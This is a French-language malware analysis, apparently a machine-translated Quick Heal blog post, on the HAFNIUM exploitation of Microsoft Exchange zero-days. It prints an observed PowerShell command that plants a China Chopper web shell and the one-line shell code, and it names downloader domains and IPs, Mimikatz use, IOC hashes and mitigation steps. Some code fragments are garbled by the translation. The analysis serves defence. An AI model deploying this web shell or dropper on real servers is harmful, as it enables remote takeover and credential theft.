Le 2 mars, Microsoft a annoncé qu'un groupe de pirates informatiques, HAFNIUM, exploitait activement quatre vulnérabilités zero-day dans ses serveurs Exchange. Microsoft a publié des correctifs de sécurité hors cycle (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 et CVE-2021-27065), permettant ainsi aux attaquants d'accéder aux comptes de messagerie et d'exécuter des logiciels malveillants sur le serveur sans même connaître les identifiants de connexion.
Des pirates informatiques exploitent une vulnérabilité SSRF (Zero-Day Server-Side Request Forgery) dans Microsoft Exchange CVE-2021-26855. Cette vulnérabilité permet à l'attaquant de contourner l'authentification et d'exécuter du code à distance.
CVE-2021-27065 est une vulnérabilité d'écriture de fichier arbitraire post-authentification. Elle crée un fichier portant le suffixe .aspx et insère du code, et les attaquants exploitent cette vulnérabilité. Nous soupçonnons que les attaquants téléchargent généralement le « china chopper web shell » sur les serveurs compromis.

Chaîne d'attaque
L'exploitation de ces serveurs Exchange s'accompagne d'indicateurs compromettant les fichiers IOC, Web Shell ou ASPX. Une fois l'exploitation effectuée, les attaquants installent le Web Shell sur le serveur Exchange à l'emplacement spécifique « C:\inetpub\wwwroot\aspnet_client\discover.aspx ». Lors de cette attaque, nous avons observé plusieurs fichiers ASPX portant des noms communs tels que aspnet_client.aspx, load.aspx, discover.aspx, supp0rt.aspx, acceptable.aspx, error_page.aspx, shell.aspx, logaaa.aspx, dict.aspx, etc. Nous avons également trouvé des Web Shell dans des fichiers du carnet d'adresses hors ligne (OAB).
Les attaquants peuvent injecter du code dans la page aspx du carnet d'adresses hors connexion d'Exchange ; ces pages servent ensuite à des exploitations plus poussées. Nous avons constaté l'exécution de code PowerShell avec des paramètres suspects sur le serveur Exchange compromis. Cette exécution de code PowerShell indique que l'écriture et la modification de fichiers sont effectuées en exploitant cette vulnérabilité.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -W hidden -ep bypass -enc try {$p=”C:\\inetpub\\wwwroot\\aspnet_client\\error.aspx”;
$FileStream=New-ObjectIO.FileStream@($p,[IO.FileMode]::Create); $FileStream.Write([Text.Encoding]::UTF8.GetBytes('ExternalUrl:https://f/
« serveur »>functionPage_Load(){/*ExchangeService*/eval(Request[« unsafe »], « unsafe »);} '),0,147);si($FileStream){$FileStream.Flush();$FileStream.Dispose();$f=(ls$p);$t=”2015-09-13″;$f.CreationTime=$t;$f.LastAccessTime=$t;$f.LastWriteTime=$t;$f.Attributes=”Lecture seule”,
« système », « caché », « non indexé », « archive »}}catch{}.
Analyse du shell Web
Le shell web chinois Chopper est un petit script d'une seule ligne, observé lors de ces attaques. Le contenu de ces fichiers est étrange et incomplet. Sa structure reçoit un argument HTTP GET appelant eval ou des mots comme unsafe, ce qui peut compromettre de nombreuses attaques.
Exemple-
« https://f/ function Page_Load(){eval(Request [“XOrSeMr3kgWUdFf6″],”unsafe”);} "
La syntaxe du champ ExternalUrl dans un fichier OAB est similaire à celle de la saisie d'une variable dans une requête HTTP et de l'exécution de sa ligne de commande via le serveur. « https://f/ » n'est pas une syntaxe correcte, et des paramètres de caractères aléatoires sont détectés ; il s'agit d'une clé utilisée pour l'authentification avant l'exécution de codes. Dans le cas ci-dessus, « XOrSeMr3kgWUdFf6 » est essentiel. Dans le fichier OAB, la date de modification du fichier est indiquée dans le champ « WhenChanged ».
Capture d'écran pour le fichier aspx-

Fig 1. Fichier ASPX
Variation du script observée dans le fichier Web Shell : on peut y voir des éléments statiques comme l'orange et l'ananas, ainsi que des chaînes encodées en Base64. Pour éviter la détection, on utilise des complications : on divise les chaînes et on les encode en Base64.

Fig 2. Liste des ExternalUrl

Fig 3. Liste des chemins
Activité post-exploitation
Après l'exploitation, nous avons vu plusieurs tentatives d'attaque lancées pour obtenir un accès complet au serveur ; cela implique l'utilisation par divers opérateurs d'outils et de méthodes open source pour implanter une porte dérobée ou de nombreux logiciels malveillants.
Variante 1:
Nous avons détecté plusieurs téléchargements PowerShell sur les serveurs. Le premier script PowerShell est un code encodé en base64 qui télécharge ensuite l'étape suivante depuis http[:]//p.estonine[.]com/p?e. Lorsque nous tentons de télécharger cette étape, nous constatons que le script PowerShell est déjà téléchargé.

Fig 4. Premier script PowerShell
Le script PowerShell téléchargé doit invoquer une expression avec un codage base64 et un code compressé Zlib pour une technique d'obfuscation lourde.

Fig 5. Étape suivante PS
Après avoir décodé et décompressé le script ci-dessous, celui-ci effectue différentes vérifications et collecte des informations telles que l'adresse MAC, l'antivirus, la version du système d'exploitation, le nom de domaine et l'utilisateur. La main crée ensuite le mutex « Global\PSEXEC », puis vérifie les privilèges d'administrateur pour exécuter le processus. Le fichier ccc.log est conçu pour la connexion au serveur CNC.

Fig 6. Étape 2 du code PowerShell
Le script tentera de contacter le domaine « http[:]//CDN.chatcdn[.]net ». Ce domaine est considéré comme malveillant depuis longtemps ; lors de la précédente diffusion de DLTMiner, il était utilisé dans les scripts PowerShell. Si vous utilisez les privilèges administrateur, téléchargez « p?hig », sinon « p?low ». Le script créera ensuite des intervalles d'exécution planifiés pour les tâches Winnet. Si le serveur ne reçoit pas de réponse, il téléchargera le fichier update.png? depuis l'adresse IP « 188.166.162.201 ».

Fig 7. Étape 2 du code PowerShell
Encore une fois, le fichier téléchargé est un script PowerShell et contient des données fortement obscurcies. Après décodage, le fichier obtenu est un script d'environ 2 Mo et contient de nombreuses lignes de code. Des utilisations de code open source ont été observées pour exploiter les vulnérabilités via SMB, notamment les requêtes d'installation et de déconnexion de session SMB, l'invocation de SMBExec et certaines techniques de déplacement latéral.

Fig. 8. PowerShell étape 3
Après avoir décodé le code base64, une analyse plus approfondie du code a permis de découvrir deux fichiers exécutables similaires à la charge utile Mimikatz. Il s'agit d'un programme open source de vidage d'identifiants utilisé pour obtenir les identifiants de connexion et les mots de passe des comptes. Ces identifiants peuvent ensuite être utilisés pour effectuer des déplacements latéraux et accéder à des informations importantes ou restreintes.
Variante 2:
Un autre script PowerShell que nous avons observé tente de télécharger un fichier depuis la page GitHub. L'extension du fichier est .png, mais il s'agit d'un fichier exécutable PE.

Fig 9. Variante 2 du script PowerShell
Nous étudions davantage ce type de script PowerShell, et la chaîne d'infection partagera des choses intéressantes qui ont tiré parti des vulnérabilités du serveur Microsoft Exchange.
COI
| Hachages Webshell | Hachages PE |
| 0CD6F96A3460BE65C70C88A764F6EC56 | 3547D371C975779D6E0EDDF145936FB1 |
| 137E3A611C961EF33AAF49CCAA35E710 | 8AEA2AE91CC084731A08AA231E79A430 |
| 1A06924B507FA9A48E94D8AB819C7E42 | 9ff2613df0fc30afbc552f40360c37e7 |
| 1B18EC3D2B27CE39E83D602CB8BA84FE | cad2ee0a2e085a319505c4c4b68b3d2b |
| 1EAC1B6CE217C4BD31E93A3D913AF010 | E438712E336982548B884CBFBFEE6C9E |
| 217747243CB1FB9EAF6999284D7B9FCB | |
| 3068ECC45C32C24C8FD56FC0CB0A8829 | |
| 3446CEEE4BEA404ED72E14E154763428 | |
| 35B332744E614EF07A94FF4AC03B1F1A | |
| 35FCA708A86BEE43F068AD53C289963D | |
| 3CDBE5DF6383A6604737076F9E97E25A | |
| 49A62802887B6CA23FD067B942631698 | |
| 4D0C46CA88840A2649CD0C8596EA0AF9 | |
| 50499D3A3F4A072FD2FA3C5C5E651E25 | |
| 5970381424FB282AD7683431EB38C4B5 | |
| 5DD588C96A81586EE653BDB80D301A87 | |
| 65159FE1E1AE21F68CD235A8C045787A | |
| 6654AA50456B7D7C10061957DA128EF6 | |
| 6B2AEC787E30369911265CFA932192F4 | |
| 6D5F087C1D2E5A98E8EF00FE7883A531 | |
| 6F5909B3060D0F9AD4C4F4F6EFBAAC27 | |
| 87DCB5D6CCD2D614C34197915A9ADE15 | |
| 8B99A15118D4FB563CDEFA97BFEC6BFE | |
| 8CBF320BC0E0BE871E04152AFF775238 | |
| 8D5315AA11C3DBCDDFBA1A8D8D695F6B | |
| 93448E9EC4EEDA337879B148475B0E77 | |
| 94881B3621AF9A4DC64678258364A82B | |
| B82E014EE386C569710A9B03A7294A4C | |
| B86798F8F643CA76F20916C9347AE1C8 | |
| BA7235A228BEB5B8D1C630DA46B17E5F | |
| BEE691F207A19D782CCFBE5887B91015 | |
| C11680638FFF66F5DD494151D4A77389 | |
| CB9BE56C0DA7D625277823C796A10B12 | |
| D02AD7D92D348E011F4C63CBA6BA639D | |
| D08194CBB0D72C2609719C8E87D9036D | |
| D2EE996FBFB6ACA47CFD4319543626A3 | |
| D70FBE37FA09856158361411624591E7 | |
| D8A14C2BC15DC04B0BAE8A992990D41F | |
| DEADBB5A1E9669E268D2C1CC5D9965B0 | |
| E6F23A3282C7F0A693433815B4CFFC8F | |
| EDB48532A2AA88558474FFEA64355129 | |
| EF374AAB0EFFF9914A83362E0896F651 | |
| EFD4DC84D422420E887E6400FECCDDAD | |
| F7D74667839288B659EC1D87217FC749 | |
| FBB4182C9A441688FD71996DE7445A6F |
Domaines/IP
- http[:]//p.estonine[.]com/p?e
- http[:]//cdn.chatcdn[.]net
- http[:]//40.115.162.72/89[.]png
- https[:]//raw.githubusercontent[.]com/eluken890enlk/exmails/main
-
188.166.162.201
-
178.21.164.68
Nom de détection Quickheal
- HTTP/CVE-2021-26855.MES!PT
- HTTP/MSExchangeServer.SSRF!PT
- CVE-2021-26855.Webshell
Résumé
Les acteurs de la menace exploitant ces vulnérabilités zero-day contre les serveurs Microsoft Exchange vulnérables, plusieurs techniques d'exploitation postérieures utilisées par les acteurs de la menace pour accéder/prendre le contrôle du serveur Exchange, il est donc essentiel d'appliquer les dernières mises à jour de sécurité.
En tant que Quick Heal, nous avons ajouté la détection de cette vulnérabilité dans IPS et la détection basée sur les fichiers pour identifier les serveurs déjà compromis et la présence d'autres IOC comme les shells Web.
Mesures
- Nous vous conseillons vivement de mettre à jour immédiatement tous les serveurs Microsoft Exchange vers les dernières versions corrigées disponibles publiées par Microsoft.
- Pour se protéger de telles attaques/exploits, il est recommandé d'avoir un produit de sécurité dans l'environnement et de le mettre à jour à temps.
- La nécessité d’appliquer à temps les correctifs de sécurité des fournisseurs contribuera à protéger et à sécuriser les systèmes.
- Si le serveur est déjà compromis, nous devons alors le nettoyer avant d'appliquer le correctif.
- Les outils d'atténuation ci-dessous partagés par Microsoft peuvent être utilisés contre la vulnérabilité.
- https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/
- https://github.com/microsoft/CSS-Exchange/tree/main/Security



